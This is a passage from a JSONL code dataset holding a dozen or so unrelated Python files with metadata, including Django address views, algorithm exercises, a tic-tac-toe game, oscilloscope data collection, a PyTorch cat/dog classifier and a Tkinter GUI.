province.pname +' '+' '+ city.cname +' '+' '+ area.aname +' '+' '+ addr\n try:\n ADD=Address.objects.get(user_id=user.id,is_default=True)\n ADD.is_default=False\n ADD.save()\n\n Address.objects.create(user_id=user.id, receiver=receiver, addr=site_fit, zip_code=zip_code, phone=phone,is_default=True)\n return redirect(reverse('user:user_center_site'))\n\n except Exception as e:\n Address.objects.create(user_id=user.id,receiver = receiver,addr = site_fit,zip_code = zip_code,phone = phone,is_default=True)\n return redirect(reverse('user:user_center_site'))\n\n\n\ndef get_all_province(request):\n province = Province.objects.all()\n\n province_list = []\n for i in province:\n b = {}\n b['pk'] = i.pk\n b['pname'] = i.pname\n province_list.append(b)\n\n return JsonResponse({'province_list': province_list})\n\n\n\ndef get_city_by_pid(request):\n value = request.GET.get('value')\n city = City.objects.filter(province_id=value)\n\n city_list = []\n for i in city:\n b = {}\n b['pk'] = i.pk\n b['cname'] = i.cname\n city_list.append(b)\n\n return JsonResponse({'city_list': city_list})\n\n\ndef get_area_by_pid(request):\n value = request.GET.get('value')\n print(type(value))\n\n area = Area.objects.filter(city_id=value)\n\n area_list = []\n for i in area:\n b = {}\n b['pk'] = i.pk\n b['aname'] = i.aname\n area_list.append(b)\n\n return JsonResponse({'area_list': area_list})\n\n\n\n#默认地址\ndef get_default_show(request):\n\n\n value = request.GET.get('value')\n\n if value!='-----选择修改默认地址-----':\n return JsonResponse({'get_site': value})\n\n\n\n\n#选择默认地址\ndef get_acquiescent(request):\n value=request.GET.get('value')\n\n str=value.split(' ')\n site_fit = str[0]+ ' ' + ' ' + str[1] + ' ' + ' ' + str[2] + ' ' + ' ' + str[3]\n ret=str[4]\n #转列表\n list_ret=list(ret)\n del list_ret[0]\n del list_ret[-1]\n user=request.user\n #修改default 等于false\n try:\n default=Address.objects.get(user_id=user.id,is_default=True)\n default.is_default=False\n default.save()\n except Exception as e:\n print('没有地址')\n\n addr=Address.objects.get(receiver=''.join(list_ret),addr=site_fit)\n addr.is_default=True\n addr.save()\n\n return HttpResponse('默认修改地址成功')\n\n\n# 验证码\ndef verification(request):\n # 定义变量用于背景色.宽.高\n bgcolor = (random.randrange(20, 100), random.randrange(20, 100), 255)\n width = 100\n height = 38\n\n # 创建画面对象\n im = Image.new('RGB', (width, height), bgcolor)\n\n # 创建画笔对象\n draw = ImageDraw.Draw(im)\n\n # 调用画笔的point()函数绘制噪点\n for i in range(0, 100):\n xy = (random.randrange(0, width), random.randrange(0, height))\n fill = (random.randrange(0, 255), 255, random.randrange(0, 255))\n\n draw.point(xy, fill=fill)\n\n # 定义验证码参数\n str = 'ABCD123EFGHIJK456LMNOPQRS789TUVWXYZ0qwertyuiopasdfghjklzxcvbnm'\n\n # 随机4个值作为参数\n\n rand_str = ''\n\n for i in range(4):\n rand_str += str[random.randrange(0, len(str))]\n\n # 构造字体对象\n font = ImageFont.truetype('FreeMono.ttf', 30)\n\n # 构造字体颜色\n fontcolor = (255, random.randrange(0, 255), random.randrange(0, 255))\n\n # 绘制4个字\n draw.text((5, 2), rand_str[0], font=font, fill=fontcolor)\n draw.text((25, 2), rand_str[1], font=font, fill=fontcolor)\n draw.text((50, 2), rand_str[2], font=font, fill=fontcolor)\n draw.text((75, 2), rand_str[3], font=font, fill=fontcolor)\n\n # 释放画笔\n del draw\n\n # 存入session用于验证\n request.session['verifycode'] = rand_str\n\n # 内存文件操作\n from io import BytesIO\n buf = BytesIO()\n # 将图片保存在内存中,文件类型为png\n im.save(buf, 'png')\n # 将内存中的图片数据返回给客户端,MIME类型为图片png\n return HttpResponse(buf.getvalue(), 'image/png')\n","sub_path":"user/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":17968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"387534388","text":"class Solution:\n def concatenetedString(self, s1, s2):\n result = [a for a in s1 if a not in s2] + [b for b in s2 if b not in s1]\n return ''.join(result)\n\n def concatenetedString(self, s1, s2):\n listS1 = list(s1)\n listS2 = list(s2)\n # return (set(listS2) | set(listS1)) - (set(listS2) & set(listS1))\n return ''.join([a for a in s1 if a not in s2] + [b for b in s2 if b not in s1])\nif __name__ == \"__main__\":\n s1 = \"aacdb\"\n s2 = \"gafd\"\n solution = Solution()\n print(\"输入的两个字符串是:s1=\", s1, \"s2=\", s2)\n print(\"计算的结果是:\", solution.concatenetedString(s1, s2))","sub_path":"Python算法指南/97_连接两个字符串中的不同字符_灵活运用单行for循环.py","file_name":"97_连接两个字符串中的不同字符_灵活运用单行for循环.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"54006399","text":"import sys\n\npo = [\" \"] * 9\n\n\ndef create_board():\n print(\"\\n\")\n print(po[0] + \" | \" + po[1] + \" | \" + po[2])\n print(\" - \" + \"+\" + \" - \" + \"+\" + \" - \")\n print(po[3] + \" | \" + po[4] + \" | \" + po[5])\n print(\" - \" + \"+\" + \" - \" + \"+\" + \" - \")\n print(po[6] + \" | \" + po[7] + \" | \" + po[8])\n print(\"\\n\")\n\n\ndef isWin(po, le):\n if po[0] == po[1] == po[2] == le: # The top row\n return True\n\n if po[0] == po[3] == po[6] == le: # The first column\n return True\n\n if po[0] == po[4] == po[8] == le: # The diagonal from top-left to bottom-right\n return True\n\n if po[2] == po[4] == po[6] == le:\n return True\n\n if po[2] == po[5] == po[8] == le: # The last column\n return True\n\n if po[1] == po[4] == po[7] == le: # The middle column\n return True\n\n if po[3] == po[4] == po[5] == le: # The middle row\n return True\n\n if po[6] == po[7] == po[8] == le: # The bottom row\n return True\n\n\ndef player1_move():\n print(\"\\n\")\n print(\"PLAYER 1 TURN\")\n print(\"\\n\")\n create_board()\n player_place = int(input(\"Where do you want to put the marker?: \"))\n if \" \" not in po:\n pass\n elif po[player_place - 1] != \" \":\n print(\"Space already occupied\")\n player1_move()\n else:\n po[player_place - 1] = \"X\"\n if isWin(po, \"X\"):\n print(\"\\n\")\n print(\"PLAYER 1 WINS!!!\")\n create_board()\n sys.exit()\n\n\ndef player2_move():\n print(\"\\n\")\n print(\"PLAYER 2 TURN\")\n print(\"\\n\")\n create_board()\n player_place = int(input(\"Where do you want to put the marker?: \"))\n\n if \" \" not in po:\n pass\n elif po[player_place - 1] != \" \":\n print(\"Space already occupied\")\n player2_move()\n else:\n po[player_place - 1] = \"O\"\n if isWin(po, \"O\"):\n print(\"\\n\")\n print(\"PLAYER 2 WINS!!!\")\n create_board()\n sys.exit()\n\n\nwhile \" \" in po:\n player1_move()\n player2_move()\n\ncreate_board()\nprint(\"\\n\")\nprint(\"IT'S A DRAW!!!\")","sub_path":"Games/Tic_Tac_Toe(Two Player).py","file_name":"Tic_Tac_Toe(Two Player).py","file_ext":"py","file_size_in_byte":2063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"47291547","text":"\"\"\"\nSymbolic evaluation of binary-tree leaves \"cost\"\n\nUse a symbolic mathematics system\nto check initial values for C(z) = z + 2 z T(z) C(z).\n\"\"\"\n\n# Use true division by default\nfrom __future__ import division\n\nimport numpy as np\nimport sympy as sp\nfrom scipy import special, misc\nimport sympy.mpmath as mp\n\ndef factorial(n):\n return misc.factorial(n, exact=1)\n\ndef factorial2(n):\n return misc.factorial2(n, exact=True)\n\ndef harmonic(n):\n result = 0\n for j in xrange(1, n + 1):\n result += sp.Rational(1, j)\n return result\n\ndef a_of_n(n):\n return sp.Rational(factorial2(2 * n - 1), 2**n * factorial(n))\n\ndef b_of_n(n):\n return 0 if n == 0 else sp.Rational(1, n);\n\ndef A_of_n(n):\n result = 0\n for j in xrange(0, n):\n result += a_of_n(j) * b_of_n(n - j)\n return result\n\ndef A_of_n_alt1(n):\n result = 0\n for j in xrange(1, n + 1):\n result += sp.Rational(1, 2 * j - 1)\n return sp.Rational(factorial2(2 * n - 1), (2**(n - 1) * factorial(n))) * result\n\ndef A_of_n_alt2(n):\n return sp.Rational(sp.binomial(2 * n, n), 4 ** n) * (2 * harmonic(2 * n - 1) - harmonic(n - 1))\n\ndef exercise_3_28():\n\n z, n, alpha = sp.symbols(\"z n alpha\")\n a_of_z = (1-z)**(-sp.Rational(1/2))\n b_of_z = sp.log(1/(1-z))\n A_of_z = a_of_z * b_of_z\n\n if True:\n for n in xrange(0, 8):\n sp.pprint(sp.diff(a_of_z, z, n))\n print\n\n if False:\n for n in xrange(0, 8):\n sp.pprint(sp.diff(a_of_z, z, n).subs(z, 0) / factorial(n))\n sp.pprint(a_of_n(n))\n print\n\n if False:\n for n in xrange(0, 8):\n sp.pprint(sp.diff(b_of_z, z, n).subs(z, 0) / factorial(n))\n sp.pprint(b_of_n(n))\n print\n\n if True:\n for n in xrange(0, 8):\n sp.pprint(sp.diff(A_of_z, z, n).subs(z, 0) / factorial(n))\n sp.pprint(A_of_n(n))\n sp.pprint(A_of_n_alt1(n))\n sp.pprint(A_of_n_alt2(n))\n print\n\n if False:\n for n in xrange(0, 8):\n sp.pprint(sp.Rational(2 ** n * factorial2(2 * n - 1), factorial(n)))\n\nif __name__ == '__main__':\n exercise_3_28()\n","sub_path":"exercise_3_28.py","file_name":"exercise_3_28.py","file_ext":"py","file_size_in_byte":2151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"168754016","text":"'''\nReference\n---\nhttps://en.wikipedia.org/wiki/Test_functions_for_optimization\n'''\n\n\nimport logging\nfrom argparse import ArgumentParser\n\n\n# setup logs\nlogger = logging.getLogger(\"test_function_for_optimization\")\n\n\ndef run(params):\n '''Evaluate the test function'''\n x = params['x']\n y = params['y']\n z = params['z']\n value = 0\n value = value + 100*(y-x**2)**2+(1-x)**2\n value = value + 100*(z-y**2)**2+(1-y)**2\n logger.debug(f\"value = {value}\")\n return value\n\n\ndef param_loader():\n '''Get parameters'''\n parser = ArgumentParser(description='Rosenbrock function')\n parser.add_argument('-x', type=float, required=True)\n parser.add_argument('-y', type=float, required=True)\n parser.add_argument('-z', type=float, required=True)\n\n args, _ = parser.parse_known_args()\n params = vars(args)\n return params\n\n\nif __name__ == '__main__':\n params = param_loader()\n logger.debug(f'parameters = {params}')\n print(run(params))\n","sub_path":"examples/trials/func-rosenbrock/rosenbrock.py","file_name":"rosenbrock.py","file_ext":"py","file_size_in_byte":974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"276552333","text":"'''\nYou are given the following definitions:\n\n A run of monotonically increasing numbers means that a number at position k+1 in the sequence is greater than or equal to the number at position k in the sequence.\n A run of monotonically decreasing numbers means that a number at position k+1 in the sequence is less than or equal to the number at position k in the sequence.\n\nFor example:\n\n If L = [10, 4, 3, 8, 3, 4, 5, 7, 7, 2] then the longest run of monotonically increasing numbers in L is [3, 4, 5, 7, 7] and the longest run of monotonically decreasing numbers in L is [10, 4, 3]. Your function should return the value 26 because the longest run of monotonically increasing integers is longer than the longest run of monotonically decreasing numbers.\n\n If L = [5, 4, 10] then the longest run of monotonically increasing numbers in L is [4, 10] and the longest run of monotonically decreasing numbers in L is [5, 4]. Your function should return the value 9 because the longest run of monotonically decreasing integers occurs before the longest run of monotonically increasing numbers.\n\nPaste your entire function, in the box below. Do not leave any debugging print statements.\n'''\n\ndef longest_run(L):\n \"\"\"\n Assumes L is a list of integers containing at least 2 elements.\n Finds the longest run of numbers in L, where the longest run can\n either be monotonically increasing or monotonically decreasing.\n In case of a tie for the longest run, choose the longest run\n that occurs first.\n Does not modify the list.\n Returns the sum of the longest run.\n \"\"\"\n dict_inc = {}\n key_inc = 0\n dict_dec = {}\n key_dec = 0\n for i in range(len(L)-1):\n if L[i+1] >= L[i]:\n dict_inc.setdefault(key_inc, []).append(L[i])\n if i == len(L)-2 and L[i+1] >= L[i]:\n dict_inc.setdefault(key_inc, []).append(L[i+1])\n if not L[i+1] >= L[i] and L[i] >= L[i-1]:\n dict_inc.setdefault(key_inc, []).append(L[i])\n key_inc += 1\n for i in range(len(L)-1):\n if L[i+1] <= L[i]:\n dict_dec.setdefault(key_dec, []).append(L[i])\n if i == len(L)-2 and L[i+1] <= L[i]:\n dict_dec.setdefault(key_dec, []).append(L[i+1])\n if not L[i+1] <= L[i] and L[i] <= L[i-1]:\n dict_dec.setdefault(key_dec, []).append(L[i])\n key_dec += 1\n longest_inc = max(dict_inc.values(), key=len)\n longest_dec = max(dict_dec.values(), key=len)\n if len(longest_inc) > len(longest_dec):\n return sum(longest_inc)\n elif len(longest_inc) < len(longest_dec):\n return sum(longest_dec)\n else:\n if L.index(longest_inc[0]) < L.index(longest_dec[0]):\n return sum(longest_inc)\n else:\n return sum(longest_dec)","sub_path":"Final/longestRun.py","file_name":"longestRun.py","file_ext":"py","file_size_in_byte":2781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"456678940","text":"import collections\n\n\nclass Solution(object):\n def containsNearbyAlmostDuplicate(self, nums, k, t):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :type t: int\n :rtype: bool\n\n ACE\n 50 ms\n\n https://leetcode.com/problems/contains-duplicate-iii/discuss/61639/JavaPython-one-pass-solution-O(n)-time-O(n)-space-using-buckets\n\n Converted var names so\n\n m = map / dict\n b = bucket\n x = nums[i]\n w = width of bucket\n \"\"\"\n if t < 0:\n return False\n m = {}\n w = t + 1\n for i, x in enumerate(nums):\n b = x // w\n if b in m:\n return True\n if b - 1 in m and abs(x - m[b-1]) < w:\n return True\n if b + 1 in m and abs(x - m[b+1]) < w:\n return True\n m[b] = x\n if i >= k:\n del m[nums[i-k] // w]\n return False\n\n def containsNearbyAlmostDuplicateV1(self, nums, k, t):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :type t: int\n :rtype: bool\n\n ACE\n 85 ms\n\n from enum (i, x) create tuples (x, i)\n sort tuples\n apply sliding window technique\n if elem diff is too large, increment low\n if index diff is too large, increment high\n\n i = j = 0\n while j is in bounds\n if i == j:\n j += 1\n elif element diff is too big:\n i += 1\n elif index diff is too big:\n j += 1\n else\n return True\n return False\n \"\"\"\n ElemIdx = collections.namedtuple('ElemIdx', ('elem', 'idx'))\n tuples = [ElemIdx(x, i) for i, x in enumerate(nums)]\n tuples.sort()\n lo = hi = 0\n while hi < len(tuples):\n if lo == hi:\n hi += 1\n elif tuples[hi].elem - tuples[lo].elem > t:\n lo += 1\n elif abs(tuples[hi].idx - tuples[lo].idx) > k:\n hi += 1\n else:\n return True\n return False\n\n\nif __name__ == '__main__':\n s = Solution()\n tests = [\n (\n [1,2,3,1],\n 3, 0,\n True\n ),\n (\n [1,0,1,1],\n 1, 2,\n True\n ),\n (\n [1,5,9,1,5,9],\n 2, 3,\n False\n ),\n (\n [1,3,5,7,9,2,11],\n 5, 1,\n True\n ),\n (\n [1,3,5,7,9,2,11],\n 4, 1,\n True\n ),\n (\n [1,3,5,7,9,2,11],\n 3, 1,\n False\n ),\n\n ]\n for nums, k, t, exp in tests:\n\n res = s.containsNearbyAlmostDuplicate(nums, k, t)\n print(\"{} {} {}\".format(nums, k, t))\n print(res)\n assert res == exp\n\n\n","sub_path":"220_contains_duplicate_iii.py","file_name":"220_contains_duplicate_iii.py","file_ext":"py","file_size_in_byte":2901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"451715485","text":"\"\"\"\n@author Manish Roy\n\nThis module contains the methods that interface directly with the oscillloscope. \nIt also contains many functions that are associated with plotting and saving the oscilloscope data.\nEach method is documented in detail, and each line also includes a comment that delineates\nits contribution to the overal functionality of the method.\n\"\"\"\n\n'''\nImport the libraries and modules that are needed to run the methods in this module.\n'''\n#Import unpack from struct. This converts the data from the oscilloscope into usable numbers.\nfrom struct import unpack\n#Import the plotting library for plotting data.\n#Import numpy. This library contains many methods used in vectorized calculations, and other\n# operations involving arrays.\nimport numpy as np\n#Import the visa. This is a library that finds the oscilloscope and allows python to interact with it.\nimport visa \n#Import the operating system. This allows python to run terminal commands.\nimport os\n#Import datetime. This allows python to create time stamps for naming files. It also allows it to \n# delay and execute its methods according to real-time parameters\nimport datetime as dt\n#Import time. This like datetime, but it is higher level, and easier to use in many situations.\nimport time as t\n#import the threading library. This allows some of the more time-consuming processes to be completed in the background.\nimport _thread as th\n\nclass data_collection():\n\n def __init__(self):\n print(\"Initiated class data_collection\")\n\n\n def get_time_stamp(self):\n '''\n This method obtains a time stamp that can be used in the naming of files\n '''\n #obtain the time stamp\n mytime = dt.datetime.now().strftime('%d_%m_%Y_%H_%M_%S%f')\n\n #return the time stamp\n return mytime\n\n def check_data(self,time,amplitude):\n \n '''\n This function is a checkpoint for the data to make sure\n that the arrays are the same size. If they are not the same\n size, then the vectorized calculations involving both of them\n will throw errors.\n '''\n\n #compare the length of the arrays\n if not len(time) == len(amplitude):\n #if the lengths are not the same, then the time array is truncated by 1. \n time = time[:len(time)-1]\n \n #return the arrays. \n return(time, amplitude)\n\n\n def setup_scope(self):\n\n '''\n This method uses the visa library to identify the oscilloscope instrument. It then\n creates an object that serves as a handle for the instrument so that other methods \n can interact with it. Additionally, this method sends some key settings to the oscilloscope\n to ensure that the proper data set is retrieved.\n '''\n\n #During development, the oscilloscope was prone to crashing. This try block catches that problem\n # ans alerts the user that the oscilloscope needs to be rebooted.\n try:\n\n #create a resource manager object. This object contains a list of all the instruments connected to the \n # computer.\n rm = visa.ResourceManager()\n\n #create an object that acts as a handel for the oscilloscope. The argument presented her is the name of the\n # oscilloscope that was used during development. If a new oscilloscope is being used, then the name of the new\n # oscilloscope must be discovered by running the following commands in a terminal.\n '''\n >python\n >>>import visa\n >>>rm = visa.ResourceManager()\n >>>rm.list_resources()\n '''\n #the last line displays a list of all the instruments connected to the computer. Select the name that corresponds\n # to the oscilloscope that you are using, and place it here in the argument below.\n scope = rm.open_resource('USB0::0x0699::0x0378::C011202::INSTR')\n\n #these are settings that the oscilloscope needs in order to collect the spectrum properly\n #The data source needs to be Channel 1 if that is the channel being used.\n scope.write('DATA:SOU CH1')\n #I have no idea what this one does.\n scope.write('DATA:WIDTH 1')\n #This tells the oscilloscope how to encode the data. Other encoding formats have proven not to work. \n scope.write('DATA:ENC RPB')\n #The data collected starts at data point 1\n scope.write('DATA:START 1') \n #The data collected ends at 1 million data points\n scope.write('DATA:STOP 1000000') \n #Full resolution needs to be collected. If you replace \"FULL\" with \"REDUCED\" then the data collection will be faster\n # but you will lose a considerable ammount of resolution.\n scope.write('DATA:RESOLUTION FULL')\n #This indicates the amount of vertical offeset from the y=0 axis. If this is not set to zero,\n # then the envelope computation will not work. \n scope.write(\"CH1:OFFSET 0.0E+0\") \n\n except:\n #notify the user that the instrument was not found\n scope = \"instrument error\"\n \n #return the object handle.\n return scope\n\n\n def retrieve_waveform(self, scope):\n\n '''\n This method retrieves the data from the oscilloscope and converts it into\n numbers that can be used for calculations. It also retrieves ceratin parameters\n from the oscilloscope such as the signal trigger point, the y-offset, the horizontal\n scale factor, the vertical scale factor, etc. \n '''\n \n #Alert the user if the instrument was not found. \n if scope == \"instrument error\":\n print(\"The instrument specified was not found. Please make sure that the instrument is connected, or make sure that the instrument name is correct in the source code. (oscillo_collection_options >>> setup_scope()\")\n Time, Volts, xzero, xincr = 10, 10, 10, 10\n return Time, Volts, xzero, xincr\n\n '''\n These lines obtain parameters from the oscilloscope so that they can be used later\n by other methods.\n '''\n #obtain the vertiacl scale factor.\n ymult = float(scope.query('WFMPRE:YMULT?'))\n #I don't know what this one is.\n yzero = float(scope.query('WFMPRE:YZERO?'))\n #obtain the vertical offset\n yoff = float(scope.query('WFMPRE:YOFF?'))\n #obtain the horizontal scale factor\n xincr = float(scope.query('WFMPRE:XINCR?'))\n #obtain the signal trigger point\n xzero = float(scope.query('WFMPRE:XZERO?'))\n \n print(\"Collecting Data...\")\n \n #I have no idea what this line does, I just know it's necessary. See the programmers manual \n # if you really want to know.\n scope.write('CURVE?')\n \n #Retrieve the raw data from the oscilloscope\n data = scope.read_raw()\n\n #These lines remove the header from the data.\n headerlen = 2 + int(data[1])\n header = data[:headerlen]\n ADC_wave = data[headerlen:-1]\n\n #unpack the data and convert it into a numpy array\n ADC_wave = np.array(unpack('%sB' % len(ADC_wave),ADC_wave))\n\n #Scale the data to physically significant values\n Volts = (ADC_wave - yoff) * ymult + yzero\n\n #create a time domain according to the length of the amplitude data retrieved and the x-scale factor\n Time = np.linspace(0, xincr*len(Volts), len(Volts))\n \n #check to make sure that the arrays are the same length\n Time, Volts = self.check_data(Time, Volts)\n\n #return the arrays and parameters for later use by other methods.\n return Time, Volts, xzero, xincr\n\n def scope_change_zoom(self, scope, zoom_factor):\n\n '''\n In the course of development, it was found necessary to change the vertical scale factor between \n data collections to obtain an acceptable degree of resolution for small features and avoid clipping\n large features. Calling this method is the most robust way to change the scale factor.\n '''\n #tTo measure the distal ends, this value needs to be 5, and to measure the small features, it needs to be .5\n #The gain needs to be 10. Any value larger than this will distort the distal end signals on 3D-printed waveguides.\n \n #Try to change the vertical scale on th oscilloscope\n try:\n scope.write(\"CH1:SCALE {}\".format(zoom_factor)) #this successfully lets me see the smaller features with more information\n \n #Alert the user if the instrument was not found. \n except:\n print(\"The instrument 'scope' could not be found. Check your connection or reboot the instrument.\")\n exit()\n\n def clip_tails(self, time, amplitude, xzero, xincr, xend):\n '''\n Since the \"RESOLUTION FULL\" setting on the oscilloscope returns a lot of superfluous\n data, this method is necessary to clip most of that uneeded data off. Failing to clip\n off the uneeded data can really bog down some of the processes since the operations will\n be performed on 1 million data points instead of a few hundred thousand.\n '''\n\n # The absolute value of the data trigger point is established\n xzero = abs(xzero)\n # in order to find the location of this trigger point using the numpy.where method,\n # this value has to be buffered.\n zero_buffer = xincr\n zeromin = xzero - zero_buffer\n zeromax = xzero + zero_buffer\n\n # this method returns the index of the time array where the trigger point was found.\n start_index = np.where(np.logical_and(time <= zeromax, time >= zeromin))\n\n # extract integer from tuple and array\n while type(start_index) != type(np.int64(4)):\n start_index = start_index[0]\n\n # the same process is repeated with the ending index, except in this case, the ending index is\n # arbitrary. The developer can select it based on how much of the waveform they want to work with.\n end_buffer = xincr\n endmin = xend - end_buffer\n endmax = xend + end_buffer\n\n end_index = np.where(np.logical_and(time <= endmax, time >= endmin))\n\n # extract integer from tuple and array\n while type(end_index) != type(np.int64(4)):\n end_index = end_index[0]\n\n # truncate arrays according to the discovered indecies\n time = time[start_index:end_index]\n amplitude = amplitude[start_index:end_index]\n\n # return the truncated arrays\n return time, amplitude\n\n\n\n\n\n","sub_path":"USMSTD-Dashboard/oscillo_collection_functions.py","file_name":"oscillo_collection_functions.py","file_ext":"py","file_size_in_byte":10736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"573793144","text":"#coding=utf-8\n\nimport torch as t\nimport torch.utils.data\nimport torch.nn\nimport torch.optim\nimport torch.autograd\nimport torch.autograd.variable\n\nfrom torchnet import meter\n\nimport backend\nfrom config import DefaultConfig\nfrom data import DogCatDataset\nfrom utils import Visualizer\n\nopt = DefaultConfig()\n\n\ndef train(**kwargs):\n vis = Visualizer()\n\n # step 1, define model\n model = getattr(backend, opt.model)(num_classes=2)\n if opt.load_model_path:\n model.load(opt.load_model_path)\n if opt.use_gpu: model.cuda()\n\n # step 2, dataset\n train_data = DogCatDataset(opt.train_data_root, train=True)\n val_data = DogCatDataset(opt.train_data_root, train=False)\n train_dataloader = t.utils.data.DataLoader(train_data,\n batch_size=opt.batch_size,\n shuffle=True,\n num_workers=opt.num_workers)\n val_dataloader = t.utils.data.DataLoader(val_data, batch_size=opt.batch_size,\n shuffle=False,\n num_workers=opt.num_workers)\n\n # step 3, optm losser\n criterion = t.nn.CrossEntropyLoss()\n lr = opt.lr\n optimizer = t.optim.Adam(model.parameters(),\n lr=lr,\n weight_decay=opt.weight_decay)\n\n # step 3, loss meter, confumetrix\n loss_meter = meter.AverageValueMeter()\n confusion_meter = meter.ConfusionMeter(2)\n previous_loss = 1e100\n\n # training\n for epoch in range(opt.max_epoch):\n loss_meter.reset()\n confusion_meter.reset()\n for idx, (images, labels) in enumerate(train_dataloader):\n inputs = t.autograd.Variable(images)\n targets = t.autograd.Variable(labels)\n if opt.use_gpu:\n inputs, targets = inputs.cuda(), targets.cuda()\n optimizer.zero_grad()\n preds = model(inputs)\n losses = criterion(preds, targets)\n losses.backward()\n optimizer.step()\n\n # meter\n loss_meter.add(losses.data[0])\n confusion_meter.add(preds.data, targets.data)\n if idx % opt.print_freq == opt.print_freq - 1:\n vis.plot('loss', loss_meter.value()[0])\n model.save()\n\n val_cm, val_accuracy = val(model, val_dataloader)\n vis.plot('val_acc', val_accuracy)\n vis.log(f'epoch:{epoch}, '\n f'lr:{lr}, '\n f'loss:{loss_meter.value()[0]}, '\n f'train_cm:{confusion_meter.value()}'\n f'val_cm:{val_cm.value()}')\n\n\ndef val(model, dataloader):\n model.eval()\n\n confusion_matrix = meter.ConfusionMeter(2)\n for idx, data in enumerate(dataloader):\n input, label = data\n val_input = t.autograd.Variable(input, volatile=True)\n val_label = t.autograd.Variable(label.long(), volatile=True)\n if opt.use_gpu:\n val_input = val_input.cuda()\n val_label = val_label.cuda()\n preds = model(val_input)\n confusion_matrix.add(preds.data.squeeze(), val_label.long())\n\n model.train()\n cm_value = confusion_matrix.value()\n acc = 100. * (cm_value[0][0]+ cm_value[1][1]) / cm_value.sum()\n return confusion_matrix, acc\n\n\ndef test(**kwargs):\n pass\n\nif __name__ == '__main__':\n train()\n","sub_path":"dogs_vs_cats/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"211038473","text":"# try:\nimport unittest\n\nimport pygame\n\nfrom resources import get_all_characters\nfrom icon import Representation\n\n# except ImportError as message:\n # raise SystemExit(message)\n\n\nclass RepresentationTest(unittest.TestCase):\n # def setUp(self):\n # pygame.display.set_mode()\n\n # def tearDown(self):\n # pygame.display.quit()\n\n def test_character_change(self):\n representation = Representation()\n characters = get_all_characters()\n\n for character in characters:\n representation.character = character\n representation.update()\n self.assertEqual(representation.image,\n representation.images[character][0])\n\n def test_flip(self):\n repr1 = Representation(\"sakura\", \"RIGHT\")\n repr2 = Representation(\"deidara\", \"LEFT\")\n\n for character in get_all_characters():\n pixel_array_base = pygame.PixelArray(repr1.images[character][0])\n pixel_array_flip = pygame.PixelArray(repr2.images[character][0])\n width, height = repr1.images[character][0].get_size()\n\n for column in range(width - 1, -1, -1):\n for row in range(height):\n self.assertEqual(pixel_array_base[column, row],\n pixel_array_flip[width - 1 - column, row])\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"tests/test_representation.py","file_name":"test_representation.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"374222157","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\"\"\"\nQNetwork for function aproximation. \n\"\"\"\n\nclass QNetwork(nn.Module):\n def __init__(self,action_space,state_space,seed):\n super(QNetwork,self).__init__()\n self.action_space = action_space\n self.state_space = state_space\n self.seed = torch.manual_seed(seed)\n\n self.fc1 = nn.Linear(state_space,64)\n self.fc2 = nn.Linear(64,32)\n self.fc3 = nn.Linear(32,action_space)\n\n def forward(self,state):\n x = F.relu(self.fc1(state))\n x = F.relu(self.fc2(x))\n return self.fc3(x)\n","sub_path":"Networks/qnetwork.py","file_name":"qnetwork.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"228049612","text":"__author__ = 'licheng'\n\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def invertTree(self, root):\n \"\"\"\n :type root: TreeNode\n :rtype: TreeNode\n \"\"\"\n if root == None:\n return None\n\n self.invertSons(root)\n return root\n\n def invertSons(self, T):\n if T.left == None and T.right == None:\n return\n else:\n tmp = T.left\n T.left = T.right\n T.right = tmp\n if T.left != None:\n self.invertSons(T.left)\n if T.right != None:\n self.invertSons(T.right)","sub_path":"226.invert_binary_tree.py","file_name":"226.invert_binary_tree.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"374826637","text":"from Tkinter import *\r\n\r\nmyGui = Tk()\r\n\r\ndef regLb():\r\n b = a.get()\r\n printLabel = Label(text = b, fg = \"green\",bg ='grey',font=12).pack()\r\n\r\ndef printLb():\r\n c = a.get()\r\n printLabel = Label(text = c, fg = \"green\",bg ='grey',font=12).pack()\r\n\r\na = StringVar()\r\n\r\nmyGui.title(\"GREEN-TECH <->Green Grocery Point Of Sale System\")\r\nmyGui.geometry(\"500x350+400+200\")\r\n\r\ntitleLabel = Label(text = \"Green-Grocery Point Of Sale System\", fg = \"black\",bg ='blue',font=12).pack()\r\n\r\nbnReg = Button(text = \"REGISTER\",fg = \"black\",bg ='green',command = regLb,font=12).pack()\r\n\r\nbnPrint = Button(text = \"PRINT\",fg = \"black\",bg ='green',command = printLb,font=12).pack()\r\n\r\ntext = Entry(textvariable = a).pack()\r\n\r\nmyGui.mainloop()\r\n","sub_path":"ButtonFunctions.py","file_name":"ButtonFunctions.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"126737725","text":"#Assignment 1\n#Link to assignment 